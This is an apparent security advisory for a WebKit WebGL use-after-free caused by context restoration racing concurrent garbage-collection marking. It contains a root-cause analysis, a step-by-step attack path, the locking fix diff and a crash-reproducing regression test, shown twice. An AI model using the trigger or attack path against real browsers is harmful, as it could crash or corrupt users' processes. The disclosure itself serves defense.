Medium CVSS 6.5 webkit UAF 🔧 Commit mapped

Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing maliciously crafted web content may lead to an unexpected process crash
ComponentWebCore
Sub-componentWebCore HTML
Bug ClassUAF
Tracker315161
Fix commit034f2fbd9b69 (WebKit/WebKit) +77/-7
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CISA KEVNot listed
CreditedЮлия Мерцалова
Disclosed2026-06-29

Background

objectGraphLock()
The lock serializing mutations of a WebGL context’s object graph against the concurrent GC marker.
Concurrent GC marking
JSC marks live objects on a background thread; for WebGL it walks bound objects via addMembersToOpaqueRoots.
WebGL context loss/restoration
A context can be lost and later restored, which reinitializes default bound objects via initializeNewContext.
WTF_REQUIRES_LOCK
A Clang thread-safety annotation that makes the compiler require a given lock be held when calling a function.

Root Cause Analysis

WebGL rendering-context state that participates in the GC object graph is protected by objectGraphLock(); the concurrent GC marker traverses a context’s bound objects (via addMembersToOpaqueRoots) while holding that lock. During WebGL context restoration, WebGLRenderingContextBase::initializeNewContext re-initializes that state by calling initializeContextState() and initializeDefaultObjects() — which reset and recreate bound default objects — but it did so WITHOUT holding objectGraphLock(). That is a data race: restoration can free and replace objects that the GC marker is concurrently reading, a use-after-free.

The fix wraps both calls in Locker locker { objectGraphLock() }; inside initializeNewContext and annotates the virtual initializeContextState()/initializeDefaultObjects() overrides (WebGLRenderingContext, WebGL2RenderingContext, and the base) with WTF_REQUIRES_LOCK(objectGraphLock()), so the compiler enforces that they only run under the lock.

The restored invariant is that any mutation of the WebGL object graph — including the reinitialization performed on context restore — is serialized against concurrent GC marking by objectGraphLock(). The added layout test loses and restores a WebGL2 context while forcing concurrent GC marking to overlap the restore, which crashed under ASan pre-patch.

Key insight
WebGL context restoration reinitialized GC-visible context state without holding objectGraphLock(), racing the concurrent GC marker into a use-after-free; taking the lock (and enforcing it via annotations) serializes restore against marking.

Attack Path

  1. Create a WebGL2 context Allocate a canvas and get a webgl2 context so bound default objects exist in the GC object graph.
  2. Lose the context Use WEBGL_lose_context.loseContext() to drop the context and schedule a restore.
  3. Overlap restore with GC marking Trigger GC (e.g. allocate WebAssembly.Memory / heap padding) so its concurrent marking phase runs while restoreContext() reinitializes context state without the lock.
  4. Use-after-free Restoration frees/recreates objects the GC marker is still reading, corrupting memory in the WebContent process.

Impact Assessment

A use-after-free from a data race between WebGL context restoration and concurrent GC marking, in the WebContent process. The attacker drives both sides from script (lose/restore plus GC pressure), making the race reachably triggerable; the observed effect is an ASan-detected UAF/crash, with escalation to corruption possible given control over what reclaims the freed objects. Confined to WebContent (WebGL objects, though GPU-backed). Rated medium.

Changed Functions

FunctionChangeNotes
if
LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
modified

Files Changed

  • LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
  • LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
  • Source/WebCore/html/canvas/WebGL2RenderingContext.h
  • Source/WebCore/html/canvas/WebGLRenderingContext.h
  • Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
  • Source/WebCore/html/canvas/WebGLRenderingContextBase.h

Audit Directions

  • Other unlocked object-graph mutations
    grep WebGLRenderingContext for methods that add/remove/reset bound objects (addContextObject, detachAndRemoveAllObjects, initialize*) called without a Locker{objectGraphLock()}.
  • Restore/reset paths
    Audit context-loss/restore and reset flows for state teardown/rebuild that must be serialized against GC marking.
  • Missing REQUIRES_LOCK annotations
    Find object-graph-touching virtuals lacking WTF_REQUIRES_LOCK(objectGraphLock()); the annotation would surface other unlocked callers.
diff --git a/Source/WebCore/html/canvas/WebGL2RenderingContext.h b/Source/WebCore/html/canvas/WebGL2RenderingContext.h
index dcf736d39056..b691cd7a4c8b 100644
--- a/Source/WebCore/html/canvas/WebGL2RenderingContext.h
+++ b/Source/WebCore/html/canvas/WebGL2RenderingContext.h
@@ -261,7 +261,7 @@ public:
 
 private:
     using WebGLRenderingContextBase::WebGLRenderingContextBase;
-    void initializeContextState() final;
+    void initializeContextState() WTF_REQUIRES_LOCK(objectGraphLock()) final;
 
     RefPtr<ArrayBufferView> arrayBufferViewSliceFactory(ASCIILiteral functionName, const ArrayBufferView& data, unsigned startByte, unsigned bytelength);
     RefPtr<ArrayBufferView> sliceArrayBufferView(ASCIILiteral functionName, const ArrayBufferView& data, GCGLuint srcOffset, GCGLuint length);
@@ -269,7 +269,7 @@ private:
     long long getInt64Parameter(GCGLenum) final;
     Vector<bool> getIndexedBooleanArrayParameter(GCGLenum pname, GCGLuint index);
 
-    void initializeDefaultObjects() final;
+    void initializeDefaultObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
     void detachAndRemoveAllObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
     bool validateBufferTarget(ASCIILiteral functionName, GCGLenum target) final;
     bool validateBufferTargetCompatibility(ASCIILiteral, GCGLenum, WebGLBuffer*);
diff --git a/Source/WebCore/html/canvas/WebGLRenderingContext.h b/Source/WebCore/html/canvas/WebGLRenderingContext.h
index 7404a87eb9a4..a9b2f1b3e9de 100644
--- a/Source/WebCore/html/canvas/WebGLRenderingContext.h
+++ b/Source/WebCore/html/canvas/WebGLRenderingContext.h
@@ -60,7 +60,7 @@ protected:
 
 private:
     using WebGLRenderingContextBase::WebGLRenderingContextBase;
-    void initializeDefaultObjects() final;
+    void initializeDefaultObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
     void detachAndRemoveAllObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
 };
 
diff --git a/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp b/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
index f128a2833781..2216b3ef9011 100644
--- a/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
+++ b/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
@@ -524,8 +524,11 @@ void WebGLRenderingContextBase::initializeNewContext(Ref<GraphicsContextGL> cont
     updateActiveOrdinal();
     if (!wasActive)
         addActiveContext(*this);
-    initializeContextState();
-    initializeDefaultObjects();
+    {
+        Locker locker { objectGraphLock() };
+        initializeContextState();
+        initializeDefaultObjects();
+    }
     // Next calls will receive the context lost callback.
     m_context->setClient(this);
 }
diff --git a/Source/WebCore/html/canvas/WebGLRenderingContextBase.h b/Source/WebCore/html/canvas/WebGLRenderingContextBase.h
index 57fc93560676..9313e4ff0bca 100644
--- a/Source/WebCore/html/canvas/WebGLRenderingContextBase.h
+++ b/Source/WebCore/html/canvas/WebGLRenderingContextBase.h
@@ -538,8 +538,8 @@ protected:
     friend class ScopedWebGLRestoreTexture;
 
     void initializeNewContext(Ref<GraphicsContextGL>);
-    virtual void initializeContextState();
-    virtual void initializeDefaultObjects();
+    virtual void initializeContextState() WTF_REQUIRES_LOCK(objectGraphLock());
+    virtual void initializeDefaultObjects() WTF_REQUIRES_LOCK(objectGraphLock());
     virtual void detachAndRemoveAllObjects() WTF_REQUIRES_LOCK(objectGraphLock());
 
     // ActiveDOMObject
diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
new file mode 100644
index 000000000000..c2541f4f3dd7
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
@@ -0,0 +1 @@
+PASS if no crash.
diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
new file mode 100644
index 000000000000..a62c55af8994
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<body>
+<!-- Exercises a race between WebGL2 context restoration (which reinitializes
+     bound-object state via initializeNewContext) and concurrent GC marking (which
+     traverses that state via addMembersToOpaqueRoots). Without objectGraphLock()
+     held during restoration, the restore path can free objects the GC marker is
+     still reading, causing a use-after-free. -->
+<script>
+if (window.testRunner) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+}
+if (window.internals)
+    internals.settings.setWebGLErrorsToConsoleEnabled(false);
+
+const tick = () => new Promise(r => setTimeout(r, 0));
+
+// Ensure the GC marker doesn't reach the WebGL wrapper until the concurrent phase.
+const heapPaddingSize = 300000;
+const heapPadding = new Array(heapPaddingSize);
+for (let i = 0; i < heapPaddingSize; i++)
+    heapPadding[i] = { a: i, b: { c: i } };
+
+async function loseAndRestoreContext() {
+    const canvas = document.body.appendChild(document.createElement('canvas'));
+    canvas.width = 1;
+    canvas.height = 1;
+    const gl = canvas.getContext('webgl2');
+    const ext = gl.getExtension('WEBGL_lose_context');
+    for (let i = 0; i < heapPaddingSize; i += 4096)
+        heapPadding[i].g = gl;
+
+    const contextLost = new Promise(r => {
+        canvas.addEventListener('webglcontextlost', e => { e.preventDefault(); r(); });
+    });
+    const contextRestored = new Promise(r => {
+        canvas.addEventListener('webglcontextrestored', () => r());
+    });
+
+    ext.loseContext();
+    await contextLost;
+    await tick();
+
+    // Trigger GC so its concurrent marking phase overlaps the restore timer.
+    new WebAssembly.Memory({ initial: 1024 });
+    new WebAssembly.Memory({ initial: 1024 });
+    ext.restoreContext();
+    await tick();
+    await tick();
+    await contextRestored;
+
+    canvas.remove();
+}
+
+async function runTest() {
+    for (let i = 0; i < 50; i++)
+        await loseAndRestoreContext();
+    document.body.textContent = 'PASS if no crash.';
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+runTest();
+</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
new file mode 100644
index 000000000000..c2541f4f3dd7
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
@@ -0,0 +1 @@
+PASS if no crash.
diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
new file mode 100644
index 000000000000..a62c55af8994
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<body>
+<!-- Exercises a race between WebGL2 context restoration (which reinitializes
+     bound-object state via initializeNewContext) and concurrent GC marking (which
+     traverses that state via addMembersToOpaqueRoots). Without objectGraphLock()
+     held during restoration, the restore path can free objects the GC marker is
+     still reading, causing a use-after-free. -->
+<script>
+if (window.testRunner) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+}
+if (window.internals)
+    internals.settings.setWebGLErrorsToConsoleEnabled(false);
+
+const tick = () => new Promise(r => setTimeout(r, 0));
+
+// Ensure the GC marker doesn't reach the WebGL wrapper until the concurrent phase.
+const heapPaddingSize = 300000;
+const heapPadding = new Array(heapPaddingSize);
+for (let i = 0; i < heapPaddingSize; i++)
+    heapPadding[i] = { a: i, b: { c: i } };
+
+async function loseAndRestoreContext() {
+    const canvas = document.body.appendChild(document.createElement('canvas'));
+    canvas.width = 1;
+    canvas.height = 1;
+    const gl = canvas.getContext('webgl2');
+    const ext = gl.getExtension('WEBGL_lose_context');
+    for (let i = 0; i < heapPaddingSize; i += 4096)
+        heapPadding[i].g = gl;
+
+    const contextLost = new Promise(r => {
+        canvas.addEventListener('webglcontextlost', e => { e.preventDefault(); r(); });
+    });
+    const contextRestored = new Promise(r => {
+        canvas.addEventListener('webglcontextrestored', () => r());
+    });
+
+    ext.loseContext();
+    await contextLost;
+    await tick();
+
+    // Trigger GC so its concurrent marking phase overlaps the restore timer.
+    new WebAssembly.Memory({ initial: 1024 });
+    new WebAssembly.Memory({ initial: 1024 });
+    ext.restoreContext();
+    await tick();
+    await tick();
+    await contextRestored;
+
+    canvas.remove();
+}
+
+async function runTest() {
+    for (let i = 0; i < 50; i++)
+        await loseAndRestoreContext();
+    document.body.textContent = 'PASS if no crash.';
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+runTest();
+</script>
+</body>
+</html>
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.